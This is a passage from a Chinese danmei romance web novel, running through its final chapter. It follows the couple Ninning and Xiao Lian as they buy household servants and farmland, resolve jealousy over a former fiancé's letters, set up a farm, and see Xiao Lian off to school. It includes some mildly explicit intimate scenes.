他不想多看一眼,偏过了脸。 他想先去看个厨娘,一个三十出头的女子,扑通一声在他跟前跪倒:“这位夫郎,奴来自青平县桂花村,丈夫死后,因为无后,被夫家卖做奴,田里田外我都会,家务活也是把好手。” 奈宁道:“厨技如何?” “厨技、厨技……”她一时有些僵住了。 奈宁静静的等她回答。 “……只、只会点家常饭菜。” 以为就要落选,结果奈宁笑道:“好,就你了。” 二顺子小声提醒道:“萧夫郎,她可能不太会做饭。” “没事,我也缺一个粗使婆子。” 那女子大喜,磕头道:“谢萧夫郎,谢萧老爷。” 都决定要买下她了,她脑袋还磕得很沉,磕个不止,奈宁拧眉,此事并没有这么容易。 果然她说:“我有不情之请,请两位主子也买了我闺女吧,做牛做马我们母女都……” 还没说完,旁边立刻有看守的打手打断她的话:“住口你在说什么,萧夫郎看上你是你的福气,你怎么还敢……” 奈宁摆了摆手:“你女儿又会什么?” 那女子一听,感觉有戏,连连磕头:“她是个聪明伶俐的丫头,平常饭菜都做的比我好吃,也勤快,不偷懒,跟我一样,田里田外都是一把好手!” 奈宁道:“那也就是说做饭平平咯。” 那女子不说话了,看着一个方向,眼泪啪嗒啪嗒的流,大家顺着她的方向看过去,那瘦子这回又看上了一个小姑娘,那小姑娘看着才十二三岁,拽着就往外走,嘴里嚷嚷着:“就她了,就她了。” 奈宁收回目光,转身走了。 那女子颓然坐在地上,突然疯了一样扑过去,好几个打手扑过去都没能拦住她,她一脚踹翻了那个瘦子:“放开她,放开她。” 瘦子嗷嗷叫着放开了那小姑娘,小姑娘刚喊了一声娘,她娘突然插住她的脖子:“大丫,娘对不起你……” 打手扑过来,想拉开她的手,然而她的手像铁钳一样牢牢箍在小姑娘脖子上,小姑娘的脸蛋不一会就变得青紫。 奈宁突然说:“我只能买一个。” 刚才谁都撼动不了的手,这会骤然松了,那女子再次磕头:“多谢萧夫郎,多谢萧老爷!” 她把她闺女推了出去:“还不多谢萧夫郎萧老爷救命之恩!” 小姑娘呛得死去活来,咳个不停,但跪着连连磕头:“……谢、谢!” 这就是娘吗? 奈宁歪着脑袋,记忆空白,心脏好像缺了一口。 他没有继续看,直接走了,苦命人千千万,他救不了这么多,只愿天下太平,没那么多人受罪。 接下来选个护院,再要一个厨娘,这两个都是寻常人家的,护院是个年轻汉子,刚娶了媳妇,有个孩子。 厨娘近四十岁模样,面目和善。 这两个月钱都是八百文。 接下来就是谈价钱了,那小哥儿跟小丫头的身价。 奈宁道:“我们也是老客户了,掌柜的要给个好价钱才是。” 那掌柜的道:“自然自然,这小哥儿三十两,那小丫头二十五两,萧夫郎给五十两便能带走,这是相当诚意的价钱,希望萧夫郎将来多多光顾小店。” 奈宁道:“四十两。” 掌柜的嘴角抽了抽:“萧夫郎这……” “这丫头若不是我喊停,这二十五两你们还能赚到吗?” 掌柜的赔笑道:“话虽如此,她这不是还好好的吗?” 奈宁笑道:“五十两也行。” 掌柜的刚想笑,又笑不出来,什么叫也行:“萧夫郎还有什么要求?” “把这丫头的娘送给我吧。” 那小姑娘猛的抬头看着他。 掌柜的道:“萧夫郎可太为难小人了,那妇人平时至少卖十五两。” “掌柜的你也说了是平时,要是买她的人家知道她差一点杀了人?” …… 出门两个人,回来七个人,一个丫头,叫大丫,一个哥儿,叫青莲,还有两个厨娘,大丫她娘叫菜花,另一个厨娘叫田婶,一个护院叫光子。 下午起床,大丫青莲守在院子外,看到主子出来了,纷纷欠身:“老爷夫郎,灶房熬了红豆汤。” 下午正是没精打采的时候,在凉亭喝一碗红豆汤,看着秀丽的风景,一下子回了精神。奈宁心里美滋滋,自己也是当上太太了。 就是有点费钱呀。 不免又发愁起来,家里就这么点钱,是怎么心安理得当太太的? 莫名为生计发起愁来。 萧练笑了笑,拉着奈宁出门,去了一趟钱庄。 大少爷之前的银票都是加密的,这回换成通用的银票,奈宁看着上面的字呆了呆,每个字他都认得,加起来他怎么就不认得了! “一千两,十张,共一万两?” “嗯!” 不光取出了一万两银子,还取出了许多箱子。 这是他们一家离开县城时,托银庄搬运的财物。 光看银票,奈宁就有些头晕,一百两他就觉得好多了,突然又砸来近千两,现在更是万两,有点飘飘然的。 第75章 第 75 章 喊萧练也成 他们没有直接回家, 而是去了趟书店,书店服务很周到,奈宁在旁边喝茶看书, 萧练在挑书。 等付钱时, 奈宁瞬间清醒。 他夫君买了什么,一摞书, 几根毛笔, 几块墨条,付账时一百多两银子。 看他看向自己,萧练还冲他笑笑。 书店恭恭敬敬地帮他们把书送上府去。 出了书店, 萧练很开心地跟奈宁说有几本书是珍藏,可遇不可求。 奈宁问多少钱一本? 萧练笑容凝固了好一阵, 有点不敢说:“嗯, 十两?” 奈宁有点头疼起来, 这样花钱, 除非大少爷三年内就能考中举人, 否则大少爷一个月买几次书,他们就成穷光蛋了。 萧练轻轻扯了扯奈宁衣袖:“许久没买书了才买多一点,下次就用不着这么多。” 奈宁摇摇头:“大少爷, 我没有怪你的意思,我只是觉得我们不能就这么坐吃山空, 做点什么赚钱才行。” 萧练不可置信道:“你叫我什么?” 奈宁也愣了愣, 很快理直气壮道:“大少爷啊,买一次书就花一百多两银子,不是大少爷是什么,普通人家哪里养得起你呀!” 萧练伸手要拉他,他闪身躲过了, 回头冲萧练做了个鬼脸,每次萧练追上他,刚拉上手又被他打开了,两人追逐打闹着回了府。 没注意到后面有一道身影看着他们出神。 护院喊老爷夫郎回来了,两人又恢复了一本正经的表情。 等走过了,又闹了一路。 两人检查银庄搬过来的箱子,奈宁一样一样翻出里面的东西,贵重的东西有之,寻常的东西也有之,最多的还要数大少爷的东西,主要是书本,还有不少玩具,后者还很新,一看就没怎么玩过。 但可以看出来,大少爷的爹娘都很疼他,儿子不玩,还买这么多。 奈宁以为在乡下大少爷的旧衣服都算多了,这里还要更多一些。 青莲大丫也跟着过来帮忙收拾,从早到晚收拾了一天。 大少爷是正经读书人,在他之前没有看什么奇怪的书,这一点让他很满意,不过让他发现了一叠厚厚的书信。 “我可以看吗?” 萧练大方道:“可以。” 奈宁字还没识完,难看懂的信先放着,最后被他翻出一大叠跟一个人有关的书信,其他所有人合起来都没有这个人多。 开头是练哥哥,落笔是舒文。 奈宁脑子瞬间跃起一个小哥儿的形象,大少爷的未婚夫,他已经很久没想起这个人了,不对,应该说从这个人消失之后,他就没有再想起这个人。 现在看到他跟大少爷往来的这么多书信,心里莫名有股说不出来的难受。 这些书信之中还夹杂着许多他没见过的东西,纸鹤纸星星纸青蛙纸蝴蝶。 萧练还是看到夫郎发呆,才发现这边的异样。他看到一堆信,奇形怪状的折纸,还没有什么反应,等看到信中内容,心里咯噔一下。 他把折纸从奈宁手中抽离,低声道:“都过去了。” 奈宁躲过他的手:“这是什么?” 萧练好像踩在刀山火海,小心翼翼回答:“纸鹤?” 奈宁漫不经心道:“很漂亮,教我折吧。” “我不会啊。”话音刚落,萧练立刻又补充:“把它拆了再按痕迹折回去,应该便是了。” “也是,他给你折了这么多,不怕折不回去。” “……” 萧练默默拆了纸鹤,看着折痕,看如何折回来,低声道:“这都是爹娘订的亲事。” 奈宁不给他躲避的机会,把纸鹤抽走了:“你跟他不是青梅竹马么,怎么写这么多信?” 萧练道:“青梅竹马?”他们俩是邻居,说是青梅竹马也不为过。 “我五岁便上学堂了,不太在家,即使回去也是读书写字,没注意这个。” 奈宁看着夫君的神情,没看到他有丝毫留恋,甚至不时瞥两眼蜡烛,看着想把信烧了。 郎无情,妾有意,没心没肝的男人。 奈宁走过去,坐在萧练身上:“没有怪你。”怕他不信,亲了亲他嘴角。 萧练迟疑:“那这纸?” “算了,留下吧,我想学折纸。” 萧练试探:“夫郎想要,我可以给你折?” 奈宁挑了挑眉:“你不是不会吗?” “我可以学。” 奈宁勾起他下颌:“好,那我恩准你给我折!” 两人都笑了,亲吻一会,萧练将奈宁抱回房。 奈宁包容着男人。 等终于完事,奈宁彻底软倒在夫君怀里,萧练吻着他嘴角,将他紧紧拥入怀里,喘息粗沉,嗓音染上纵欲过后的性感,低声喊:“夫郎。” 奈宁心脏咯噔一下,他的声音喊得太黏糊了,像孩童撒娇,又好像终于找到主心骨,又或者是抓到救命稻草。 他像小狗一般将脑袋埋进奈宁颈窝,闷闷地说:“不管你怎么想我,我在雪中快被冻死,他送来的不是炭,是一盘冷水。我宁愿他没有出现过,他带着一群强盗强闯进我的家门,跟所有人一样,看尽我的落魄,轻飘飘地给我砸来了一张纸。他很温柔很善良的,但那张纸他是砸过来的。” 奈宁脑中浮现当日情景,那时大少爷分明乖乖的,被他撸到大腿.根还会脸红。 多么纯情美好的一个少年,还瘸了腿,破碎凄凉。 也就是那些人进来了,他突然变得好癫狂。 萧练低沉的声音还在继续:“他跟那些想要我死的人站在一侧,只有你在我身后。” 他又在奈宁颈窝处蹭了蹭:“只有夫郎不是那样子。” 奈宁心里默默想,那种时候是个正常的人都会站在他的对面。 只能说没有那么爱。 萧练道:“我跟他往来,从未有分毫逾矩。” “我知道我知道,”这次奈宁有话说,竖着手指说:“一二……嗯好像第三次才行?” 萧练缓了一阵子才反应过来,恼羞成怒道:“夫郎!” 奈宁丝毫不惧,凑过来贴贴他脸蛋,软软笑道:“我一直与夫君在一侧!” 萧练心脏也跟着软,柔声喊:“夫郎。” 心里痒痒,又把人放到床上去。 奈宁推着他,他反手拉着人的手摁在自己胸膛上,哑声道:“我必不负你!” 伴着他声音沉沉落下的,还有他的。 早晨奈宁醒来,骨头都有点酥了。 萧练道:“昨日你叫我大少爷,怪伤心的。” 太黏人的,奈宁都怕他了,推着他胸膛道:“我骨头都松了,还不够给你赔罪?” 萧练拉着他的手亲一亲,奈宁身子都跟着颤一颤。 萧练道:“夫郎,你这真叫我难过,我就亲你一口!” 奈宁脸颊发烫,强行移开话题:“我饿了。” 萧练摸摸他肚子,瘪瘪的,忍不住手贱按了一下,还是能有点东西露出来,奈宁羞愤欲死:“你!” 萧练道:“我去让他们备吃的,顺便打来热水。”在奈宁脸颊上亲了一口,赶紧跑出门去。 奈宁吃完饭泡完澡出去,到书房没看到夫君,出来,在凉亭处发现了人,在那里鬼鬼祟祟的不知道烧什么。 一扭头就跟他视线对上了,萧练忙将剩下的一股脑丢进火盆,站直身来,轻咳一声:“夫郎。” 奈宁挑眉:“可以呀,萧大少爷!” 萧练莫名心虚:“夫郎,我绝对没有不给你看的意思,我只是觉得这东西过去了就过去了,咱们不要再……” “那也应该是我烧!”奈宁绕着他转了半圈:“哦,我懂了,不想让我看到你的舒文弟弟喊你练哥哥,不想让我看到你们浓情蜜意!” 萧练张着嘴不知道说什么。 奈宁继续道:“或者那些信根本就没烧,刚才说的那些都是忽悠我的,偷偷留存起来,自己缅怀去了!” 萧练转身就去捡那快要被烧成灰烬的纸,纸上浅浅一角被他救了出来,打开一看,上面还残留着练哥哥字样。 他递到奈宁眼前,控诉道:“真的烧了!” 奈宁原本就是逗逗他,结果他直接徒手去抓火,又心疼又气,越发阴阳怪气:“宁愿手被烫到,也要把练哥哥捡回来,真的好爱呀!” “夫郎,”他巴巴的缠上来:“我就算真的要将练哥哥捡起来,那也是想要夫郎这般喊我,喊声给哥哥听听。” 那声音挺蛊惑人,奈宁浑身一颤,忘了逗他,被他拉着坐到他腿上。 萧练将额头抵着奈宁额头,吻着他的嘴角,哄着他道:“叫声哥哥听听?” 奈宁心脏跟着砰砰乱跳,偏向一旁又被拽了回来,好不容易挣扎着转过身去,男人牢牢将他禁锢在怀里,坚硬的胸膛抵着他的后背。 下颌蹭着他的肩膀,稍稍偏过脸就看到他俊俏的脸蛋。 四目对上,萧练道:“叫哥哥。” 奈宁道:“有没有可能,我比你大,应该你叫我哥哥?” 快音未落,萧练道:“哥哥,宁哥哥,奈哥哥,奈宁哥哥,夫郎哥哥,到你了。” 奈宁噗嗤一声笑了,他喊一声,奈宁的笑容就要更灿烂一些,他也越逼越近,蹭上了奈宁的嘴唇。 奈宁凑到萧练耳边低低喊了一声,在后者还没反应过来的时候,起身跑了。 声音低柔俏皮,带着些蛊惑的味道,像玉珠落在心间,他喊:“萧、练。” “不对,你坑我,不是应该还有吗!” “哈哈哈……” “再喊一声,喊萧练也成!” 院子里充斥着欢乐声。 第76章 第 76 章 买地 奈宁不是爱拖延的性子, 要买田,当即遣人差了二顺子来。 在村子里就鲜少有人卖地,屋地有卖的, 田地长这么大没见过。 不到山穷水尽的时候, 谁会将田地卖,至于萧家之前卖田地, 奈宁也不敢多说, 许是两位从未耕种,不知田地重要。 二顺子来得快,满脸笑容:“萧夫郎, 您是个有福的,想买地的人多, 却没几个能买到, 今早上恰有个地主老爷前来卖地, 说是父亲生了重病, 他自己又要读书, 这才想着把地卖了。” 奈宁萧练跟着二顺子前去那地主家,坐的马车,出了城到了村子, 一路摇摇晃晃才到。 奈宁左看右看,这地主家跟周边农家并没什么区别, 甚至还要落魄些, 人家好歹有些青砖,他们没有,只是泥砖瓦顶,白墙大片脱落。 二顺子感慨道:“这陈地主一家前两年才从城里搬出来。” 奈宁不由讶异:“为何沦落至此?” 二顺子说他们有百亩良田要卖,分明颇有家资, 怎么会落魄至此? 二顺子低声道:“听说陈少爷吃喝嫖赌样样精,家里不敢露富,但这次赌坊找上门说欠了几千两没还,给了几日期限,不然砍了陈少爷手脚。” 奈宁沉默不语。 酒鬼就恐怖,赌鬼更别提,五毒俱全,这日子没法过。 二顺子在门口高喊两声,院子里有个三岁小孩童玩耍,看到陌生人来,赶紧躲进了房里,没多久出来一个面容枯黄憔悴的老妇人。 二顺子与奈宁介绍道:“这位便是陈夫人。” 看到这一行人,那陈夫人并不意外,将人请了进来。 陈家尚有百多亩地,但也不舍得卖完,只卖百亩,零头留下,算是给后人一条活路。 在奈宁家乡那山沟沟里头的田地,大约七两一亩,而这里,那陈夫人开口便是二十五两一亩。 奈宁下意识就觉得不值,但转念一想,他们能以这个价钱买进,定然也能以这个价钱卖出。 虽说这么多钱在乡下能买到更多的地,但这不是没有人卖地吗。 不过有开价,自然有压价,二顺子能来,自是知道行情,帮着从中周旋。 “陈夫人,咱们这田地一亩成交价都是二十两出头,这二十五两怕是贵了。” 陈夫人嘴一扁:“那我们不卖了!” 奈宁萧练对视一眼,没有开口。 二顺子道:“陈夫人价钱不好,咱们可以好好商议,可不好开口就说不卖了,萧公子萧夫郎如此有诚意,都亲自上门来了,茶水都没得一杯凭白赶人走,下回我们可不敢把人往你这边领了。” 陈夫人脸色很难看:“能少些,但也不能太少。” 奈宁起身道:“先看看地。” 陈夫人嘀咕道:“地有什么好看的。” 奈宁不理她,说这话,要不地不好,要不就是地还没种明白。 来到田野,陈夫人指着大片的田地:“从河流开始,一路到竹林那边,再到另一条田埂,这一片都是我们的。” 奈宁看向二顺子,后者点了点头。 陈夫人转头看看他们背后的那一片地,脸色不好,小声道:“原本这一片也是我们的。” 奈宁好奇道:“谁家买了?” 陈夫人道:“说是钟大人家。” 奈宁脸上露出个笑:“那感情好,我夫君与钟三公子相识。” 陈夫人讶异地看了奈宁萧练一眼,看回自己的田,道:“咱们水稻都种下了,价钱不得贵些。” 二顺子道:“陈夫人,您这话说的,请人种一亩水稻才多少钱。” 陈夫人脸更黑了。 早春水稻泡种育苗再到插秧,这确实不费劲,请一个妇人,三十文都不用,一天就能插一亩多地。 费劲的是犁地,但犁地请牛一亩也不过百文。 谷种再贵,也不过几斤,还是去岁自留的好种,说白了不过是谷子,谷价不过一文二三。 每日在田里干得腰酸背疼,到头来就是轻飘飘的一句,才多少钱。 陈夫人顿时心酸得想坐地痛哭,后面的良地原是他们家的,前面这良地眼看也要卖出去了,然后这钱还不能进他们荷包,早被那逆子给赌输出去了。 突然她脸色一狠:“若你们能帮我家改户籍,帮我们保密,这一百多亩地全部卖了,二十一两一亩给你们!” 看来又要麻烦钟三公子一回,此事就这么说定了。 回到陈家,奈宁萧练也不再进去,一个三十出头穿着不错醉醺醺的汉子看到他们一行,脸色狂喜,酒醒了大半:“娘,钱是不是已经筹到了?” 陈夫人依然是一张黑脸:“没有,价钱没谈拢。” 上了马车,萧练道:“买这些地,恐怕不得安宁。” 那陈夫人看样子是不打算在此久留了,甚至那个儿子,她也想抛弃了。 奈宁道:“他敢!” 萧练笑道:“夫郎威武!” 说着亲了亲奈宁嘴角,心里其实也不怕。 一听说有地,夫郎直接就过来了,可以想象这地有多金贵。 回去正要找钟三,谁知道他自己就送上门来了。 钟三喝了杯茶就迫不及待道:“不知萧兄接下来有何打算?” 萧练慢条斯理道:“没甚打算,就闲赋在家与夫郎喝茶吃酒,再耕种两亩薄田。” 钟三一哽:“不会吧?” “不然钟兄有何建议?” 钟三顿时来了精神:“既然萧兄现在腿脚已经好了,不如与我一同读书考功名。” “唉,钟兄不知,我太久没看书,恐有生疏。” 奈宁偷偷的笑,借着喝茶掩唇。 他与夫君早有商议,以后夫君还是上学堂念书去吧,在家里总不能安心。 是奈宁不能安心,早上起来竟见满桌折纸,萧大少爷一脸笑容仰头等夸。 奈宁故作生气道:“你可知玩物丧志,我嫁与你就是看你玩折纸的么!” 萧练嘴里说着知错了,错认得好好的,奈宁语气稍稍放松些,他就把人抱怀里问喜欢么,但凡露出一点笑容,薄唇就亲上了。 …… 钟三笑道:“我在松山学堂读书,萧兄若愿意,我可以举荐。” 松山学堂可是本郡最好的学堂了,萧练原本就能进去,不过有人帮忙,自然轻松许多。 “那便劳烦钟兄了。” 钟三眉开眼笑道:“不烦不烦,我也有个伴!” “钟兄不是应该许多伴么?” “呃,一言难尽。” 萧练也没多问,钟三连秀才都还没考过就能进松山学堂,围在他身边的能是什么好人。 “还有一事要劳烦钟兄。” 钟三顿时来了神气:“但说无妨。” 萧练便把自己家要买田地,那陈夫人说要改户籍之事与钟三一说。 这年头不算盛世但也太平,官府不允许随便改户籍迁移,自个儿去办,得好一顿折腾。 与钟三认识,这事情自然好办。 钟三拍着胸膛说:“放心,这点小事!” 他反而更好奇萧练什么时候去上学堂。 萧练说:“不急,等我们把地买下来再说。” 钟三立刻站起来,拱手道:“我现在就去办户籍之事!” 火撩眉毛般急急跑了。 奈宁跟萧练对视而笑,刚端起茶盏再放下,男人就坐过来了,像个不愿意上学堂的小孩,低声磨折奈宁说:“夫郎,我就要去上学了。” 奈宁憋着笑,淡定地放下茶盏道:“嗯,好好读书,给我考个功名回来。” “好!”说着萧练立刻笑起来,又缠了上来:“夫郎亲亲。” 奈宁:“……” 他躲着他,进了房。 萧练紧随其后,进来就把门关上。 奈宁站在桌边,心慌得直喝茶。 男人从后面一下子将他抱入怀里,在他耳边低声道:“昨晚说叫哥哥还没叫呢!” 男人轻轻咬着他耳廓,叫他喝茶都不得安心,伸手去推,被握住了手,心头一跳,赶紧将手收回,哪里还来得及。 手按在坚实的中堂上,耳根敏感的地方被男人探出的舌尖轻轻舔吻着,低哑的声音钻进耳膜:“叫练哥哥。” 奈宁一手撑在桌上,一手无力地推着他:“大白天的……” 萧练道:“之后我进学堂了,再想跟夫郎亲亲都没这么多功夫。” 心一软就被他逮到了空子,抱着坐到椅子上。 磨了一会萧练又说:“叫啊。” 奈宁脸蛋红仆仆,紧咬着牙关:“等田地买到再说。” 萧练出门就去寻钟三,陈家那片地很快敲定下来了,共一百五十亩,三十多亩是山地。 山地价钱不能跟水田比,便宜一大半。 花出去三千两银子,奈宁还是很开心。 陈夫人借口出来卖菜,跟奈宁交换了田契钱财,银票往身上一藏,低头走了。 奈宁进村时,陈家不光空了,还被一把火给烧得干干净净。 再看那陈少爷,气急败坏的在空空如也的家里又砸又踹,嘴里骂骂咧咧:“死老鬼,死老太婆,不要让我抓到你们,我让你们不得好死!” 之后疯疯癫癫跑出村去了。 路过的村民说:“这人如此歹毒,连家里人都喊死喊杀,也难怪一家抛弃他跑了,希望跑得远些,如此才能解脱!” “他家人倒是幸福了,咱们村多了颗毒瘤!” “是啊,自从他们一家搬来之后,天天有流氓成群结队进村!” “以后不许他进村了,看到他进来咱们团结些,把他挡在外头!” “放心吧,他回不来了,欠了堵坊那么多债,全家都跑路了,就剩他一个,不死也要脱层皮。” 萧练握紧了奈宁的手,说:“以后你来这边得多带几个人。” 第 77 章【正文完】 第77章 第 77 章 正文完 奈宁才不怕一个半点瓜葛都没有的赌鬼, 有了田地,信心满满就要种地了。 这些地离郡城有些远,来回消耗功夫, 要请人在山地那边建个房子才是。 以后夫君去上学堂, 他就过来种地,晌午在此歇息, 傍晚回家。 当然他不自己种, 这一百多亩地,种死都种不来,要请长工, 农忙时再多请些人。 三十多亩的山地,刚好有一个三四亩的塘, 可以养鱼又可以养鸭子, 还可以在周边试种棉花。 规划好之后, 找了村长, 请帮物色些汉子帮建房子, 村长乐不可支,此时正是农闲时,有活计干就是大老爷赏饭吃, 这主家特意找他,也给足了他面子。 回家之后萧练拉着奈宁的手不放:“夫郎怎么说?” 奈宁倒了一杯茶, 强行淡定喝着, 被男人抢过茶杯,缠着要答案。 奈宁忍着笑,偏过头说:“好说好说。” 萧练被逗笑了,喃喃重复道:“好说好说。” 又不甘心道:“夫郎,可不能这么敷衍我啊!” 说着将人抱到桌子上, 牢牢禁固在他跟前,让他进退不得。 奈宁脸颊烫烫的,他越是要听,那一句越是喊不出。 他不说话,伸手就扯男人的腰带。 萧练闷闷说:“哪有这样的。” 他不配合。 奈宁咬着唇,慢慢把身上的衣服褪去,当他敞开门户,趾尖撩着男人的腿时。 萧练嘴角要往上翘,怎么都压不下来,寻到小口径直进去。 萧练将奈宁揽在怀里,咬着他耳朵低语,还是不不死心地想听他喊:“喊声哥哥好不好,练哥哥萧哥哥都随你。” 奈宁脸颊染粉抱着紧实的男人,微张着唇,三个字到了嘴边,又压了下去,换成粗沉的喘息。 喊了几声没听到回话,男人沉沉一下:“又骗我!” 情欲中的男人好看得不像话,奈宁眼神闪躲,得了一息喘息的机会,口不择言道:“你这么喜欢我喊,是不是想起那个人……” 他不知道为何,莫名就还是在意,别人喊过的三个字怎么都喊不出口。 莫名觉得大少爷跟自己还是有本质差别的,如果不想起还好,想起了挺难过。 而且他确实是偷偷把大少爷这个人抢过来的,用了不太光明正大的手段。 话音未落,他身体腾空,突然被抱起来,一抬头对上男人紧拧的眉眼,心头一跳,又垂下眼眸,全身力道都压在一处。 等两个人都有些疲乏了,萧练将奈宁放到床上,低声说:“你若这么想,我再也不听。” 奈宁心头一跳:“你生气了?” “没有,我哪里敢生气,我自己伤心去,在一起这么久了,我夫郎还这么想我,分明是我跟他之间的事情,非要扯第三人!既然我怎么说他都不听,我自己伤心难过去,不行吗!” 他一边说生气,一边将脑袋埋在奈宁怀里。 奈宁不敢说话,轻轻拍着他的后背,怀里人小声嘀咕道:“都这个时候了,他也不知道安慰安慰人!” 奈宁被他逗得好笑,贴了贴他的脑袋,低声喊道:“练哥哥。” 怀里嘀嘀咕咕的人一下子安静了。 奈宁心中莫名生出一股羞耻感,忍着羞涩道:“不要生气了,我错了,练哥哥。” 他蹭蹭男人的脸蛋,轻轻吻着男人的眉眼。 萧练的嘴角,一个眨眼功夫不到,就翘起来了。 “早该喊了。” “除了你,不再有第二个人可以如此喊我!” 奈宁软声哄着他道:“嗯嗯,我知道了,夫君,我还是更喜欢喊夫君,这个才是没有人可以喊的!” “好的夫郎!”两人又黏黏腻腻的亲在一起。 之前几日,奈宁跟萧练经常往返两地,钟三也时常携丽娘上门来寻他们,看萧练什么时候上学堂。 奈宁忽然想起一事,问道:“钟公子,上回那强住我家的人如何了?” 钟三道:“坑蒙拐骗,强抢民女,恃强凌弱,杀人放火,已判秋后处斩。”说完细细数他的恶行,坑骗了商户上千两银子,不过那些商户也是有所图谋才能被人坑骗,这先不提。 “你敢想他后院的那三个都是强抢过来的,还不止这三个,有些是有男子在身侧,他们才没得逞,经常带一群流氓上门惹事,将人打得半死不活!” 钟三啧道:“一个小小管事的亲戚就敢如此横行霸道,真是不查不知道,一查吓一跳!” 奈宁却想另外一件事:“秋后处死之事,是不是还得喂他饭吃?” 钟三道:“哈哈,嫂子想多了,能有碗粥给他吃就不错了,哪有饭。” 奈宁眨眨眼睛:“粥也是米熬出来的,也挺浪费的。” 萧练低笑,钟三丽娘哑声。 奈宁清咳一声道:“我意思是说,现在劳力不足,为何不将他们带去种地开荒,关在牢里,白白浪费了粮食。” 钟三怔怔道:“说的有道理啊!” 其实奈宁想说他想用人,若官府能将这些牢犯,看管好再派遣给他们用可多好。 那一个个可都是壮劳力啊。 不过钟三没有跟着往这边说,他突然一拍手说好妙计,然后就回去找他爹了。 房屋竣工之日,奈宁拉着全府上下,还带上两条狗,买一辆牛车,买一辆马车,又去买棉花种子,还买鸭苗鸡苗跟猪苗。 大丫跟大丫娘都是干农活的好手,天天在府上没什么事干,生怕主家又将自己发卖了,此刻听说主家要种地养牲口,这是他们老本行了,最是开心。 青莲却是愣愣的,他皮肤比寻常农家人白净许多,看着就不是农户出身,手掌细滑还识字,问他哪来的,却说不记得,之前被人贩子打了脑袋,记不清前事。 奈宁就不管这么多,只让他跟着,幸好他也不躲懒,看到小鸡小鸭小猪崽会很开心。 一府上的人都很开心,特别是年纪小的。 鸡苗鸭苗猪苗都长得可爱,或毛茸茸或肥嘟嘟。 叽叽喳喳又或者哼哧哼哧。 奈宁摸着活蹦乱跳的小鸭子脑袋问多少钱,摊主娘子却是冲他福身:“萧夫郎。” 奈宁一愣,抬头看到一张有几分眼熟的脸庞,摊主娘子笑道:“您不认识我,那日在贵府中,幸亏得两位恩公搭救。” 这么一说奈宁立刻想起来了,他府中还有哪个女子,不就是被那个赖皮朱强抢来的那民女吗。 奈宁笑道:“原来是你,这鸡苗鸭苗都是你家的?真不错!” “小女子就会点孵鸡苗鸭苗的手艺,小夫郎若要这一批,都可以送给您,以报答……” 奈宁笑着打断她道:“我肯定是要,但你若说送给我,我就不敢要了,如此多鸡鸭,我哪有这脸吞下去,市场怎么卖,咱们怎么买。” 两人有说有笑,数了鸭子算了钱。 大家一拢一拢的往牛车上搬小鸭小鸡。 两条狗蹲在牛车上,看到满车的鸡鸭,高兴得汪汪叫。 奈宁摸摸它们狗头,满脸笑容回头继续搬。 萧练在后头跟着,不太说话,但也满脸笑容。 他与夫郎买过一回,上次养到一半就卖了,这一次定能将它们好好养大。 他还要回头再搬,却被一个人喊住了。 “练哥哥,真的是你!” 那声音充满惊喜。 萧练回头看了一眼,拧了拧眉,并不应答,快步跟上又往前一个摊子去的夫郎:“夫郎等等我!” 叶舒文僵在原地。 记忆中的那个人没有再拄拐杖,一切都是熟悉的模样,甚至笑得比以前还要灿烂些,提着一笼笼嘎嘎嘎叫着的鸭子,也不显粗俗,好像一个不食烟火的神明落入凡间有了人的气息,看着更加惹人。 然而看到他却是一脸冷漠。 叶舒文好难堪,在那个小哥儿扭过头来时,这份难堪达到了顶端,赶紧躲了,心里莫名庆幸,幸好没有第三人看到。 这车子堆的满满当当,根本不够坐人,只能又去买了一辆牛车。 反正一百多亩田地,牛也不嫌多,一公一母,到时候还可以下小牛。 青莲大丫跟大丫娘三个兴致勃勃的驾牛车,他们刚练,落在后头。 路上奈宁兴奋地跟萧练规划未来:“以后在果林里多种些果树,最好一年四季都有果子吃。” “一百多亩水稻,你有秀才功名,咱们不用交税,田租出去一亩能收四百斤粮,一年四万斤,留了自己吃,大概还能卖四十两银子,再加上卖鸡卖猪卖鸭的收入,差不多够一年食用。” 说着他眼睛亮亮的。 萧练也开心,不过好奇道:“一亩能产四百斤粮这么多么?我记得以前那些佃户跟我娘哭,收成不好,一亩地一年到头就一两百斤粮。” 奈宁道:“怎么会一亩地一年到头一两百斤?我们以前种地一亩一季就能产四五百斤,多时甚至有六百,咱们多养些鸡鸭猪,好好堆肥,说不定还能更多些!” 奈宁荡着腿道:“咱们且看他们怎么种,要是收成不好,就换一批佃户!” 萧练点点头,跟夫郎学一下种地也好,不然连粮食亩产多少都不知道。 天气冷的时候要注意给鸡鸭保暖,天气热就要担心中暑。 太小了,先养在圈子里,长大些就可以散养。 一开始养,放些粮跟水在那里,等它们自己慢慢熟悉环境。 房子建好了,请了两个长工,平时要住在林子里,帮照顾鸡鸭还有猪。 接下来几天就是在塘边旁边种棉花,拿着锄头立垄,挖个坑放两粒种子,再埋一层薄土。 奈宁看着夫君挖地,等他挖好一个坑,悠哉悠哉地往里面放两粒种子。 日头渐渐变大,男人额角有汗渗出,奈宁拉着他先行休息去,除下斗笠,就这么一会,头发都有些闷了。 他还好,扭头看萧练,额角碎发都有些潮湿。 干了几天活没见黑,出了一点汗,反而越发容光焕发。 两人相视而笑,拉着手去洗手,看前后左右没人,奈宁脱了鞋子,卷起裤脚下去踩水玩,清清凉凉的水冲刷着脚尖,舒坦得眯了眼睛。 萧练笑道:“之前在老家,我就在想要不要在家里挖一个小水池,夏日我们也能进去泡泡水。” 奈宁开心道:“好啊好啊!” 他不好在外面玩水,若是在家里建一个水池,想怎么玩不能。 反正他们的山林想要挖沟渠,在沟渠经过的地方建一个小宅子,专用于夏日玩水。 这宅子正建着,萧练就遇到了前来劝学的钟三。 看夫君一脸头疼的样子,奈宁笑道:“夫君也该去上学堂了。” 池子没泡上,萧练先迎来了上学堂的日子,奈宁笑盈盈的给他整理衣冠。 他莫名感慨自己的心境:“当年只知道读书,突然功名无望,心都死了,现在却没那么想去读书了。” 奈宁道:“你若真不想读,那便跟我一块种地,当然我还是希望你读的,将来做一个好官,也能造福一方百姓。” 萧练神情也变得严肃:“我定好好读书!” 两人坐上马车前往学堂,刚出门就遇到了钟三,萧练头痛,钟三笑盈盈道:“萧兄,今日是你第一天上学堂,我与你一起!” 萧练勉强扯出个笑来,原本夫郎陪他去,现在多了个碍眼的。 下车时,萧练亲了亲奈宁嘴角:“夫郎我去了。” 奈宁笑道:“嗯。” 萧练又道:“傍晚来不来接我?” 奈宁好笑:“来接你。” 看着他走进学堂,快到尽头时候回头,大幅度的挥手告别,奈宁轻轻挥了挥手,直到他消失,回到马车前往农庄。 